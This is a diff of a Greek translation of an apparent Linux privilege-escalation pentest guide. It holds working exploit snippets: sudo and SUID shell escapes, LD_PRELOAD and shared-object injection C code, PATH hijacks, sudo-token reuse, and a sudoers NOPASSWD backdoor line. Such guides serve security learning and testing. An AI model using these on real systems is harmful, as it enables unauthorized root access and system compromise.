exploit μια επικοινωνία D-Bus εδώ:** +**Μάθε πώς να enumerate και να exploit μια D-Bus communication εδώ:** {{#ref}} @@ -615,9 +619,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Δίκτυο** -Είναι πάντα ενδιαφέρον να enumerate το δίκτυο και να προσδιορίσετε τη θέση της μηχανής. +Είναι πάντα ενδιαφέρον να enumerate το δίκτυο και να προσδιορίσεις τη θέση της μηχανής. -### Generic enumeration +### Γενική ανίχνευση ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -640,24 +644,24 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Ανοιχτές θύρες +### Ανοιχτά ports -Πάντα ελέγχετε τις δικτυακές υπηρεσίες που τρέχουν στη μηχανή και με τις οποίες δεν καταφέρατε να αλληλεπιδράσετε πριν αποκτήσετε πρόσβαση σε αυτήν: +Ελέγχετε πάντα τις υπηρεσίες δικτύου που τρέχουν στη μηχανή και με τις οποίες δεν καταφέρατε να αλληλεπιδράσετε πριν αποκτήσετε πρόσβαση σε αυτήν: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Ελέγξτε αν μπορείτε να sniff traffic. Αν μπορείτε, ίσως να καταφέρετε να αποκτήσετε μερικά credentials. +Έλεγξε αν μπορείς να sniff traffic. Αν μπορείς, μπορείς να αποκτήσεις κάποια credentials. ``` timeout 1 tcpdump ``` ## Χρήστες -### Generic Enumeration +### Γενική Εξέταση -Ελέγξτε **ποιος** είστε, ποια **προνόμια** έχετε, ποιοι **χρήστες** υπάρχουν στο σύστημα, ποιοι μπορούν να **login** και ποιοι έχουν **δικαιώματα root**: +Ελέγξτε **ποιος** είστε, ποιες **privileges** έχετε, ποιοι **χρήστες** υπάρχουν στα συστήματα, ποιοι μπορούν να **login** και ποιοι έχουν **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -681,12 +685,12 @@ gpg --list-keys 2>/dev/null ``` ### Μεγάλο UID -Κάποιες εκδόσεις του Linux επηρεάστηκαν από ένα σφάλμα που επιτρέπει σε χρήστες με **UID > INT_MAX** να escalate privileges. Περισσότερες πληροφορίες: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +Κάποιες εκδόσεις του Linux επηρεάστηκαν από ένα bug που επιτρέπει σε χρήστες με **UID > INT_MAX** να αποκτήσουν αυξημένα προνόμια. Περισσότερες πληροφορίες: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) και [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Εκμεταλλευτείτε το** χρησιμοποιώντας: **`systemd-run -t /bin/bash`** ### Ομάδες -Έλεγξε αν είσαι **μέλος κάποιας ομάδας** που θα μπορούσε να σου παραχωρήσει προνόμια root: +Ελέγξτε αν είστε **μέλος κάποιας ομάδας** που θα μπορούσε να σας παραχωρήσει δικαιώματα root: {{#ref}} @@ -695,7 +699,7 @@ interesting-groups-linux-pe/ ### Πρόχειρο -Έλεγξε αν υπάρχει κάτι ενδιαφέρον στο πρόχειρο (αν είναι δυνατόν) +Ελέγξτε αν υπάρχει κάτι ενδιαφέρον στο πρόχειρο (αν είναι δυνατόν) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -706,33 +710,33 @@ echo "Highlighted text: "`xsel -o 2>/dev/null` else echo "Not found xsel and xclip" fi ``` -### Πολιτική Κωδικών Πρόσβασης +### Πολιτική Κωδίκων ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` ### Γνωστοί κωδικοί πρόσβασης -Αν **γνωρίζετε οποιονδήποτε κωδικό** του περιβάλλοντος, **προσπαθήστε να συνδεθείτε ως κάθε χρήστης** χρησιμοποιώντας αυτόν τον κωδικό. +Αν **γνωρίζετε οποιονδήποτε κωδικό πρόσβασης** του περιβάλλοντος, **δοκιμάστε να συνδεθείτε ως κάθε χρήστης** χρησιμοποιώντας τον κωδικό. ### Su Brute -Αν δεν σας ενοχλεί να προκαλέσετε πολύ θόρυβο και τα binaries `su` και `timeout` υπάρχουν στον υπολογιστή, μπορείτε να προσπαθήσετε να κάνετε brute-force σε έναν χρήστη χρησιμοποιώντας [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +Αν δεν σας πειράζει να δημιουργήσετε πολύ θόρυβο και τα δυαδικά `su` και `timeout` είναι παρόντα στον υπολογιστή, μπορείτε να δοκιμάσετε να κάνετε brute-force έναν χρήστη χρησιμοποιώντας [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) με την παράμετρο `-a` προσπαθεί επίσης να κάνει brute-force σε χρήστες. ## Καταχρήσεις εγγράψιμου PATH ### $PATH -Αν διαπιστώσετε ότι μπορείτε να **γράψετε μέσα σε κάποιο φάκελο του $PATH**, ίσως μπορείτε να αυξήσετε τα προνόμια δημιουργώντας **ένα backdoor μέσα στον εγγράψιμο φάκελο** με το όνομα κάποιας εντολής που θα εκτελεστεί από διαφορετικό χρήστη (root ιδανικά) και που **δεν φορτώνεται από φάκελο ο οποίος βρίσκεται πριν** από τον εγγράψιμό σας φάκελο στο $PATH. +Αν διαπιστώσετε ότι μπορείτε **να γράψετε μέσα σε κάποιο φάκελο του $PATH**, μπορεί να μπορέσετε να αυξήσετε προνόμια δημιουργώντας **ένα backdoor μέσα στον εγγράψιμο φάκελο** με το όνομα κάποιας εντολής που πρόκειται να εκτελεστεί από διαφορετικό χρήστη (κατά προτίμηση root) και που **δεν φορτώνεται από φάκελο που βρίσκεται πριν** από τον εγγράψιμο φάκελό σας στο $PATH. -### SUDO and SUID +### SUDO και SUID -Μπορεί να σας επιτρέπεται να εκτελέσετε κάποια εντολή χρησιμοποιώντας sudo ή να έχουν το suid bit. Ελέγξτε το χρησιμοποιώντας: +Μπορεί να σας επιτρέπεται να εκτελέσετε κάποια εντολή χρησιμοποιώντας sudo ή αυτές μπορεί να έχουν το suid bit. Ελέγξτε το χρησιμοποιώντας: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Ορισμένες **απρόσμενες εντολές σας επιτρέπουν να διαβάσετε και/ή να γράψετε αρχεία ή ακόμα και να εκτελέσετε μια εντολή.** Για παράδειγμα: +Κάποιες **απροσδόκητες εντολές σας επιτρέπουν να διαβάσετε και/ή να γράψετε αρχεία ή ακόμα και να εκτελέσετε μια εντολή.** Για παράδειγμα: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -743,37 +747,37 @@ less>! ``` ### NOPASSWD -Η διαμόρφωση του Sudo μπορεί να επιτρέπει σε έναν χρήστη να εκτελέσει κάποια εντολή με τα προνόμια άλλου χρήστη χωρίς να γνωρίζει τον κωδικό πρόσβασης. +Η ρύθμιση του Sudo μπορεί να επιτρέψει σε έναν χρήστη να εκτελέσει κάποια εντολή με τα προνόμια άλλου χρήστη χωρίς να γνωρίζει τον κωδικό πρόσβασης. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Σε αυτό το παράδειγμα ο χρήστης `demo` μπορεί να τρέξει το `vim` ως `root`. Τώρα είναι απλό να αποκτήσει κανείς ένα shell προσθέτοντας ένα ssh key στον κατάλογο `root` ή εκτελώντας το `sh`. +Σε αυτό το παράδειγμα ο χρήστης `demo` μπορεί να εκτελέσει το `vim` ως `root`. Είναι πλέον απλό να αποκτήσει κανείς ένα shell προσθέτοντας ένα ssh key στον κατάλογο root ή εκτελώντας `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Αυτή η οδηγία επιτρέπει στον χρήστη να **set an environment variable** κατά την εκτέλεση κάποιας εντολής: +Αυτή η οδηγία επιτρέπει στον χρήστη να **ορίσει μια μεταβλητή περιβάλλοντος** ενώ εκτελεί κάτι: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Αυτό το παράδειγμα, **βασισμένο στο HTB machine Admirer**, ήταν **ευάλωτο** σε **PYTHONPATH hijacking** για να φορτώσει μια αυθαίρετη python βιβλιοθήκη κατά την εκτέλεση του script ως root: +Αυτό το παράδειγμα, **based on HTB machine Admirer**, ήταν **ευάλωτο** σε **PYTHONPATH hijacking** για να φορτώσει μια αυθαίρετη python βιβλιοθήκη κατά την εκτέλεση του script ως root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### BASH_ENV διατηρείται μέσω sudo env_keep → root shell -Αν το sudoers διατηρεί `BASH_ENV` (π.χ., `Defaults env_keep+="ENV BASH_ENV"`), μπορείτε να εκμεταλλευτείτε τη μη-διαδραστική συμπεριφορά εκκίνησης του Bash για να εκτελέσετε αυθαίρετο κώδικα ως root όταν καλείτε μια επιτρεπόμενη εντολή. +If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command. -- Why it works: Για μη-διαδραστικά shells, ο Bash αξιολογεί `$BASH_ENV` και κάνει source αυτό το αρχείο πριν τρέξει το target script. Πολλοί κανόνες sudo επιτρέπουν το τρέξιμο ενός script ή ενός shell wrapper. Αν το `BASH_ENV` διατηρείται από το sudo, το αρχείο σας γίνεται source με προνόμια root. +- Γιατί λειτουργεί: Για μη-διαδραστικά shells, Bash αξιολογεί `$BASH_ENV` και κάνει source αυτό το αρχείο πριν εκτελέσει το στοχευμένο script. Πολλοί κανόνες sudo επιτρέπουν την εκτέλεση ενός script ή ενός shell wrapper. Εάν το `BASH_ENV` διατηρείται από το sudo, το αρχείο σου γίνεται source με προνόμια root. -- Requirements: -- A sudo rule you can run (any target that invokes `/bin/bash` non-interactively, or any bash script). -- `BASH_ENV` present in `env_keep` (check with `sudo -l`). +- Απαιτήσεις: +- Ένας κανόνας sudo που μπορείς να τρέξεις (οποιοδήποτε target που καλεί `/bin/bash` μη-διαδραστικά, ή οποιοδήποτε bash script). +- Το `BASH_ENV` παρόν στο `env_keep` (έλεγξε με `sudo -l`). - PoC: ```bash @@ -787,12 +791,12 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/ ``` - Σκληροποίηση: - Αφαιρέστε `BASH_ENV` (και `ENV`) από `env_keep`, προτιμήστε `env_reset`. -- Αποφύγετε wrappers του shell για εντολές επιτρεπτές με sudo· χρησιμοποιήστε ελάχιστα binaries. -- Εξετάστε το sudo I/O logging και την ειδοποίηση όταν χρησιμοποιούνται διατηρημένες env vars. +- Αποφύγετε shell wrappers για εντολές που επιτρέπονται από sudo· χρησιμοποιήστε ελάχιστα binaries. +- Εξετάστε sudo I/O logging και ειδοποίηση όταν χρησιμοποιούνται διατηρούμενες μεταβλητές περιβάλλοντος. -### Διαδρομές παράκαμψης εκτέλεσης για sudo +### Διαδρομές παράκαμψης εκτέλεσης με sudo -**Jump** για να διαβάσετε άλλα αρχεία ή να χρησιμοποιήσετε **symlinks**. Για παράδειγμα στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Μεταβείτε** για να διαβάσετε άλλα αρχεία ή να χρησιμοποιήσετε **symlinks**. Για παράδειγμα στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -802,50 +806,50 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Αν χρησιμοποιηθεί **wildcard** (\*), είναι ακόμα πιο εύκολο: +Αν χρησιμοποιηθεί **wildcard** (\*), γίνεται ακόμα πιο εύκολο: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**Αντιμέτρα**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**Αντιμετώπιση**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) ### Sudo command/SUID binary χωρίς καθορισμένη διαδρομή εντολής -Εάν η **sudo permission** έχει δοθεί για μια εντολή **χωρίς να καθοριστεί η διαδρομή**: _hacker10 ALL= (root) less_ μπορείτε να το εκμεταλλευτείτε αλλάζοντας τη μεταβλητή PATH +Εάν η **άδεια sudo** έχει δοθεί για μια μεμονωμένη εντολή **χωρίς να καθορίζεται η διαδρομή**: _hacker10 ALL= (root) less_ μπορείτε να την εκμεταλλευτείτε αλλάζοντας τη μεταβλητή PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Αυτή η τεχνική μπορεί επίσης να χρησιμοποιηθεί αν ένα **suid** binary **εκτελεί άλλη εντολή χωρίς να καθορίζει τη διαδρομή προς αυτήν (πάντα ελέγχετε με** _**strings**_ **το περιεχόμενο ενός περίεργου SUID binary)**. +Αυτή η τεχνική μπορεί επίσης να χρησιμοποιηθεί αν ένα **suid** binary **εκτελεί άλλη εντολή χωρίς να καθορίζει τη διαδρομή προς αυτήν (ελέγξτε πάντα με** _**strings**_ **το περιεχόμενο ενός περίεργου SUID binary)**). [Payload examples to execute.](payloads-to-execute.md) -### SUID binary με διαδρομή εντολής +### SUID binary με καθορισμένη διαδρομή εντολής -Εάν το **suid** binary **εκτελεί άλλη εντολή καθορίζοντας τη διαδρομή**, τότε, μπορείτε να προσπαθήσετε να **export a function** με το όνομα της εντολής που καλεί το suid αρχείο. +Αν το **suid** binary **εκτελεί άλλη εντολή καθορίζοντας τη διαδρομή**, τότε μπορείτε να δοκιμάσετε να **export a function** με το όνομα της εντολής που καλεί το suid αρχείο. -Για παράδειγμα, αν ένα suid binary καλεί _**/usr/sbin/service apache2 start**_ πρέπει να προσπαθήσετε να δημιουργήσετε τη function και να την export: +For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Στη συνέχεια, όταν καλέσετε το suid binary, αυτή η συνάρτηση θα εκτελεστεί +Then, όταν καλέσετε το suid binary, αυτή η συνάρτηση θα εκτελεστεί ### LD_PRELOAD & **LD_LIBRARY_PATH** -Η μεταβλητή περιβάλλοντος **LD_PRELOAD** χρησιμοποιείται για να καθορίσει μία ή περισσότερες shared libraries (.so αρχεία) που θα φορτωθούν από τον loader πριν από όλες τις άλλες, συμπεριλαμβανομένης της standard C library (`libc.so`). Αυτή η διαδικασία είναι γνωστή ως προφόρτωση βιβλιοθήκης. +Η μεταβλητή περιβάλλοντος **LD_PRELOAD** χρησιμοποιείται για να καθορίσει μία ή περισσότερες shared libraries (.so files) που θα φορτωθούν από τον loader πριν από όλες τις άλλες, συμπεριλαμβανομένης της standard C library (`libc.so`). Αυτή η διαδικασία είναι γνωστή ως preloading μιας βιβλιοθήκης. -Ωστόσο, για τη διατήρηση της ασφάλειας του συστήματος και την αποτροπή εκμετάλλευσης αυτής της δυνατότητας, ιδιαίτερα με **suid/sgid** εκτελέσιμα, το σύστημα επιβάλλει ορισμένες προϋποθέσεις: +Ωστόσο, για να διατηρηθεί η ασφάλεια του συστήματος και να αποτραπεί η εκμετάλλευση αυτής της δυνατότητας, ιδιαίτερα με εκτελέσιμα **suid/sgid**, το σύστημα επιβάλλει ορισμένες προϋποθέσεις: -- Ο loader αγνοεί την **LD_PRELOAD** για εκτελέσιμα όπου το real user ID (_ruid_) δεν ταιριάζει με το effective user ID (_euid_). -- Για εκτελέσιμα με suid/sgid, μόνο βιβλιοθήκες σε standard paths που είναι επίσης suid/sgid προφορτώνονται. +- Ο loader αγνοεί **LD_PRELOAD** για εκτελέσιμα όπου το πραγματικό user ID (_ruid_) δεν αντιστοιχεί στο effective user ID (_euid_). +- Για εκτελέσιμα με suid/sgid, προφορτώνονται μόνο βιβλιοθήκες που βρίσκονται σε standard paths και επίσης έχουν suid/sgid. -Μπορεί να συμβεί privilege escalation αν έχετε τη δυνατότητα να εκτελείτε εντολές με `sudo` και η έξοδος του `sudo -l` περιλαμβάνει τη δήλωση **env_keep+=LD_PRELOAD**. Αυτή η ρύθμιση επιτρέπει στη μεταβλητή περιβάλλοντος **LD_PRELOAD** να παραμένει και να αναγνωρίζεται ακόμη και όταν οι εντολές εκτελούνται με `sudo`, ενδεχομένως οδηγώντας στην εκτέλεση αυθαίρετου κώδικα με αυξημένα προνόμια. +Μπορεί να προκύψει privilege escalation αν έχετε τη δυνατότητα να εκτελέσετε εντολές με `sudo` και η έξοδος του `sudo -l` περιέχει τη δήλωση **env_keep+=LD_PRELOAD**. Αυτή η ρύθμιση επιτρέπει στη μεταβλητή περιβάλλοντος **LD_PRELOAD** να παραμένει και να αναγνωρίζεται ακόμη και όταν οι εντολές εκτελούνται με `sudo`, ενδεχομένως οδηγώντας στην εκτέλεση αυθαίρετου κώδικα με αυξημένα προνόμια. ``` Defaults env_keep += LD_PRELOAD ``` -Αποθήκευσε ως **/tmp/pe.c** +Αποθηκεύστε ως **/tmp/pe.c** ```c #include #include @@ -863,12 +867,12 @@ system("/bin/bash"); cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Τέλος, **escalate privileges** εκτελώντας +Τελικά, **escalate privileges** τρέχοντας ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Ένα παρόμοιο privesc μπορεί να χρησιμοποιηθεί κακόβουλα αν ο επιτιθέμενος ελέγχει την **LD_LIBRARY_PATH** env variable, επειδή τότε ελέγχει τη διαδρομή στην οποία θα αναζητηθούν οι βιβλιοθήκες. +> Μια παρόμοια privesc μπορεί να εκμεταλλευτεί εάν ο attacker ελέγχει την env variable **LD_LIBRARY_PATH**, επειδή ελέγχει τη διαδρομή όπου θα αναζητηθούν οι βιβλιοθήκες. ```c #include #include @@ -890,13 +894,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Όταν συναντάτε ένα binary με **SUID** δικαιώματα που φαίνεται ασυνήθιστο, είναι καλή πρακτική να ελέγξετε αν φορτώνει σωστά αρχεία **.so**. Αυτό μπορεί να ελεγχθεί εκτελώντας την παρακάτω εντολή: +Όταν συναντάτε ένα binary με δικαιώματα **SUID** που φαίνεται ασυνήθιστο, είναι καλή πρακτική να ελέγχετε αν φορτώνει σωστά αρχεία **.so**. Αυτό μπορεί να ελεγχθεί τρέχοντας την ακόλουθη εντολή: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Για παράδειγμα, η εμφάνιση ενός σφάλματος όπως _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ υποδηλώνει πιθανή δυνατότητα εκμετάλλευσης. +Για παράδειγμα, η εμφάνιση ενός σφάλματος όπως _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ υποδεικνύει πιθανότητα για εκμετάλλευση. -Για να το εκμεταλλευτεί κανείς, θα προχωρούσε δημιουργώντας ένα αρχείο C, π.χ. _"/path/to/.config/libcalc.c"_, που περιέχει τον ακόλουθο κώδικα: +Για να το εκμεταλλευτείτε, θα προχωρούσατε δημιουργώντας ένα αρχείο C, π.χ. _"/path/to/.config/libcalc.c"_, που περιέχει τον ακόλουθο κώδικα: ```c #include #include @@ -907,13 +911,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Αυτός ο κώδικας, μόλις compiled και executed, στοχεύει στην αύξηση προνομίων (elevate privileges) με την τροποποίηση των file permissions και την εκτέλεση ενός shell με elevated privileges. +Αυτός ο κώδικας, μόλις μεταγλωττιστεί και εκτελεστεί, στοχεύει να elevate privileges με την τροποποίηση των δικαιωμάτων αρχείων και την εκτέλεση ενός shell με elevated privileges. Μεταγλωττίστε το παραπάνω C αρχείο σε shared object (.so) αρχείο με: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Τέλος, η εκτέλεση του επηρεασμένου SUID binary θα πρέπει να ενεργοποιήσει το exploit, επιτρέποντας πιθανή παραβίαση του συστήματος. +Τελικά, η εκτέλεση του επηρεασμένου SUID binary θα πρέπει να ενεργοποιήσει το exploit, επιτρέποντας πιθανή παραβίαση του συστήματος. ## Shared Object Hijacking ```bash @@ -942,13 +946,13 @@ system("/bin/bash -p"); ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -Αυτό σημαίνει ότι η βιβλιοθήκη που έχετε δημιουργήσει πρέπει να περιλαμβάνει μια συνάρτηση με όνομα `a_function_name`. +that means that the library you have generated need to have a function called `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) είναι μια επιμελημένη λίστα Unix binaries που μπορούν να αξιοποιηθούν από έναν επιτιθέμενο για να παρακάμψει τοπικούς περιορισμούς ασφάλειας. [**GTFOArgs**](https://gtfoargs.github.io/) είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε **only inject arguments** σε μια εντολή. +[**GTFOBins**](https://gtfobins.github.io) είναι μια επιμελημένη λίστα Unix binaries που μπορούν να αξιοποιηθούν από έναν επιτιθέμενο για να παρακάμψουν τοπικούς περιορισμούς ασφαλείας. [**GTFOArgs**](https://gtfoargs.github.io/) είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε **να εισάγετε μόνο arguments** σε μια εντολή. -Το project συγκεντρώνει νόμιμες λειτουργίες Unix binaries που μπορούν να καταχραστούν για να διαφύγουν από restricted shells, να escalate ή να διατηρήσουν elevated privileges, να μεταφέρουν αρχεία, να spawn bind και reverse shells, και να διευκολύνουν άλλες εργασίες post-exploitation. +Το project συλλέγει νόμιμες λειτουργίες των Unix binaries που μπορούν να καταχραστούν για να διαφύγουν από restricted shells, να escalate ή να διατηρήσουν elevated privileges, να μεταφέρουν αρχεία, να spawn bind και reverse shells, και να διευκολύνουν άλλες post-exploitation εργασίες. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -967,60 +971,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -Αν μπορείτε να εκτελέσετε `sudo -l` μπορείτε να χρησιμοποιήσετε το εργαλείο [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) για να ελέγξετε αν εντοπίζει πώς να εκμεταλλευτεί οποιονδήποτε κανόνα sudo. +Αν μπορείτε να εκτελέσετε `sudo -l` μπορείτε να χρησιμοποιήσετε το εργαλείο [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) για να ελέγξετε αν βρίσκει τρόπο να εκμεταλλευτεί οποιονδήποτε κανόνα sudo. -### Reusing Sudo Tokens +### Επαναχρησιμοποίηση Sudo Tokens -Σε περιπτώσεις όπου έχετε **sudo access** αλλά όχι τον κωδικό, μπορείτε να κλιμακώσετε privileges περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια hijacking του session token. +Σε περιπτώσεις όπου έχετε **sudo access** αλλά όχι τον κωδικό, μπορείτε να escalate privileges περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια hijacking το session token. Requirements to escalate privileges: - Έχετε ήδη ένα shell ως χρήστης "_sampleuser_" -- "_sampleuser_" έχει **χρησιμοποιήσει `sudo`** για να εκτελέσει κάτι στα **τελευταία 15mins** (από προεπιλογή αυτή είναι η διάρκεια του sudo token που μας επιτρέπει να χρησιμοποιούμε `sudo` χωρίς να εισάγουμε κανέναν κωδικό) -- `cat /proc/sys/kernel/yama/ptrace_scope` είναι 0 -- `gdb` είναι προσβάσιμο (μπορείτε να το ανεβάσετε) +- "_sampleuser_" έχει **χρησιμοποιήσει `sudo`** για να εκτελέσει κάτι στα **τελευταία 15 λεπτά** (από προεπιλογή αυτή είναι η διάρκεια του sudo token που μας επιτρέπει να χρησιμοποιήσουμε `sudo` χωρίς να εισάγουμε κωδικό) +- `cat /proc/sys/kernel/yama/ptrace_scope` έχει τιμή 0 +- `gdb` είναι προσβάσιμο (θα πρέπει να μπορείτε να το ανεβάσετε) -(Μπορείτε προσωρινά να ενεργοποιήσετε `ptrace_scope` με `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ή μόνιμα τροποποιώντας `/etc/sysctl.d/10-ptrace.conf` και θέτοντας `kernel.yama.ptrace_scope = 0`) +(Μπορείτε προσωρινά να ενεργοποιήσετε το ptrace_scope με `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ή μόνιμα τροποποιώντας `/etc/sysctl.d/10-ptrace.conf` και ορίζοντας `kernel.yama.ptrace_scope = 0`) -Αν πληρούνται όλες αυτές οι απαιτήσεις, **μπορείτε να κλιμακώσετε προνόμια χρησιμοποιώντας:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Το **πρώτο exploit** (`exploit.sh`) θα δημιουργήσει το binary `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **ενεργοποιήσετε το sudo token στη συνεδρία σας** (δεν θα πάρετε αυτόματα root shell, κάντε `sudo su`): +- Το **πρώτο exploit** (`exploit.sh`) θα δημιουργήσει το binary `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **ενεργοποιήσετε το sudo token στη συνεδρία σας** (δεν θα πάρετε αυτόματα root shell, εκτελέστε `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Το **δεύτερο exploit** (`exploit_v2.sh`) θα δημιουργήσει ένα sh shell στο _/tmp_ **που ανήκει στο root με setuid** +- Το **δεύτερο exploit** (`exploit_v2.sh`) θα δημιουργήσει ένα sh shell στο _/tmp_ **που ανήκει στον root με setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Το **τρίτο exploit** (`exploit_v3.sh`) θα **δημιουργήσει ένα αρχείο sudoers** που θα κάνει **τα sudo tokens αιώνια και θα επιτρέπει σε όλους τους χρήστες να χρησιμοποιούν sudo** +- Ο **τρίτος exploit** (`exploit_v3.sh`) θα **δημιουργήσει ένα sudoers file** που κάνει **τα sudo tokens αιώνια και επιτρέπει σε όλους τους χρήστες να χρησιμοποιούν sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Αν έχετε **write permissions** στον φάκελο ή σε οποιοδήποτε από τα αρχεία που έχουν δημιουργηθεί μέσα στον φάκελο, μπορείτε να χρησιμοποιήσετε το εκτελέσιμο [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) για να **create a sudo token for a user and PID**.\ -Για παράδειγμα, αν μπορείτε να αντικαταστήσετε το αρχείο _/var/run/sudo/ts/sampleuser_ και έχετε ένα shell ως χρήστης με PID 1234, μπορείτε να **obtain sudo privileges** χωρίς να χρειάζεται να γνωρίζετε τον κωδικό, κάνοντας: +Εάν έχετε **write permissions** στον φάκελο ή σε οποιοδήποτε από τα αρχεία που δημιουργήθηκαν εντός αυτού, μπορείτε να χρησιμοποιήσετε το binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) για να **create a sudo token for a user and PID**.\ +Για παράδειγμα, αν μπορείτε να overwrite το αρχείο _/var/run/sudo/ts/sampleuser_ και έχετε ένα shell ως ο εν λόγω user με PID 1234, μπορείτε να **obtain sudo privileges** χωρίς να χρειάζεται να γνωρίζετε το password κάνοντας: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Το αρχείο `/etc/sudoers` και τα αρχεία μέσα στο `/etc/sudoers.d` ρυθμίζουν ποιος μπορεί να χρησιμοποιεί `sudo` και πώς. Αυτά τα αρχεία **από προεπιλογή μπορούν να διαβαστούν μόνο από τον χρήστη root και την ομάδα root**.\ -**Εάν** μπορείτε να **διαβάσετε** αυτό το αρχείο, μπορεί να μπορέσετε να **αποκτήσετε ορισμένες ενδιαφέρουσες πληροφορίες**, και εάν μπορείτε να **γράψετε** οποιοδήποτε αρχείο θα μπορέσετε να **αναβαθμίσετε τα προνόμια**. +Το αρχείο `/etc/sudoers` και τα αρχεία μέσα στο `/etc/sudoers.d` διαμορφώνουν ποιος μπορεί να χρησιμοποιήσει το `sudo` και πώς. Αυτά τα αρχεία **από προεπιλογή μπορούν να διαβαστούν μόνο από τον χρήστη root και την ομάδα root**.\ +**Αν** μπορείτε να **διαβάσετε** αυτό το αρχείο μπορεί να είστε σε θέση να **αποκτήσετε μερικές ενδιαφέρουσες πληροφορίες**, και αν μπορείτε να **γράψετε** οποιοδήποτε αρχείο θα μπορέσετε να **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Αν μπορείς να γράψεις, μπορείς να καταχραστείς αυτήν την άδεια +Αν μπορείς να γράψεις, μπορείς να καταχραστείς αυτή την άδεια ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers 